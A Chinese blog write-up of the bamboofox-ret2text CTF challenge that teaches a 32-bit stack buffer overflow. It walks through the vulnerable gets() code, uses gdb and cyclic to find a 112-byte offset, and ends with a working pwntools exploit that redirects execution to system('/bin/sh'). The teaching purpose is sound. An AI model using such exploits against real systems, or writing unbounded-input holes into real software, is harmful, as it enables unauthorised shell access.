好好说话之ret2text

本题为bamboofox-ret2text

题目路径:

/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text

一、原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP

首先看C代码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("/bin/sh");
}
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];
    printf("There is something amazing here, do you know anything?\n");
    gets(buf);
    printf("Maybe I will tell you next time !");
    return 0;
}

gcc编译:

gcc -fno-stack-protector -z noexecstack -no-pie -z norelro ret2text.c -o ret2text
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

二、程序分析

通过checksec检查一下这个程序

$ checksec ret2text
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,除了NX栈不可执行开启之外,其他的都是关闭状态。如果开启栈不可执行就无法在栈中进行跳转,那么就应该考虑调用程序本身的函数,或者运用ROP技术获取gadget

使用IDA静态编译查看程序,首先是main函数中使用gets方式进行数据接收,那么就不会限制输入长度,这里就是一个溢出位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

变量v4作为gets的参数,v4参数距离栈顶指针esp+1Ch,距离栈底指针bp-64h,这就规定了程序可以承载字符串的数量

                                 +-----------------+
                                 |     retaddr     |
                                 +-----------------+
                                 |     saved ebp   |
                          ebp--->+-----------------+
                                 |                 |
                                 |                 |
                                 |                 |
                                 |                 |
                                 |                 |
                                 |                 |
             s终止位置,ebp-0x64-->+-----------------+

在main函数汇编代码中发现secure函数存在调用system("/bin/sh")的代码

.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system
.text:08048646

溢出思路:由于gets函数不会对输入字符长度做限制,那么可以通过构件足够长的字符串填满栈空间,接下来由于canary没有开启,所以可以继续覆盖savedebp地址和ret返回地址。如果将调用"/bin/sh"的地址(0x0804863A)覆盖在ret返回的位置,那么在程序结束后就会获取系统shell

                                 +-----------------+
                                 |     /bin/sh     |  原ret返回位置
                                 +-----------------+
                                 |      holk       |  原saved ebp位置
                          ebp--->+-----------------+
                                 |                 |
                                 |                 |
                                 |                 |
                                 |                 |
                                 |                 |
                                 |                 |
             s终止位置,ebp-0x64-->+-----------------+

三、溢出

接下来需要考虑的是可控内存的起始地址距离main函数的返回地址的距离,有两种方法可以查出:

方法一:

回到ida查看main函数的汇编代码

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

在main接收字符串是通过相对esp进行索引的,所以需要使用到gdb查看一下索引时的esp和ebp位置。所以在call处下断点(0x080486AE),程序停在call的初始位置,字符串刚刚进栈,此时寄存器中显示的就是字符串的esp和ebp

pwndbg> b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text 
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24	    gets(buf);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────[ REGISTERS ]───────────────────────────────
 EAX  0xffffd05c —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
 EBX  0x0
 ECX  0xf7fb5dc7 (_IO_2_1_stdout_+71) ◂— 0xfb68900a
 EDX  0xf7fb6890 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0x0
 ESI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0xffffd0c8 ◂— 0x0
 ESP  0xffffd040 —▸ 0xffffd05c —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
 EIP  0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8

此时esp位置为0xffffd040,ebp位置为0xffffd0c8,由于s相对于esp的索引为[esp+0x1c],所以0xffffd040 + 0x1c = 0xffffd05c,所以s的地址为0xffffd05c,那么s相对于ebp的偏移为0xffffd0c8 - 0xffffd05c = 0x6c。由于是32位程序,所以距离ret的地址还差4个字节(覆盖saved ebp),可以看上面的覆盖图。因此需要0x64+4个字节才能到达ret

方法二:

通过cyclic工具创建200个字符串

$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

复制字符串,通过gdb输入到程序当中

pwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text 
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

由于输入字符串过长,导致程序中断

─────────────────────────────────[ STACK ]─────────────────────────────────
00:0000│ esp  0xffffd0d0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│      0xffffd0d4 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│      0xffffd0d8 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│      0xffffd0dc ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│      0xffffd0e0 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│      0xffffd0e4 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│      0xffffd0e8 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│      0xffffd0ec ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
───────────────────────────────[ BACKTRACE ]───────────────────────────────
 ► f 0 62616164
   f 1 62616165
   f 2 62616166
   f 3 62616167
   f 4 62616168
   f 5 62616169
   f 6 6261616a
   f 7 6261616b
   f 8 6261616c
   f 9 6261616d
   f 10 6261616e
───────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x62616164)

gdb报错停止在0x62616164位置,可以用cyclic查看停止处字符串长度

$ cyclic -l 0x62616164
112

得到112,这个数字就是从输入内存可控起始地址到ret地址的字节数

四、EXP

通过偏移量和思路就可以写出exp:

from pwn import * 
sh = process('./ret2text')
shell_add = 0x0804863A
payload = 'hollkdig'*14 + p32(shell_add) #112个字节填满栈空间至ret+shell_add
sh.sendline(payload)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/qq_41202237/article/details/105913166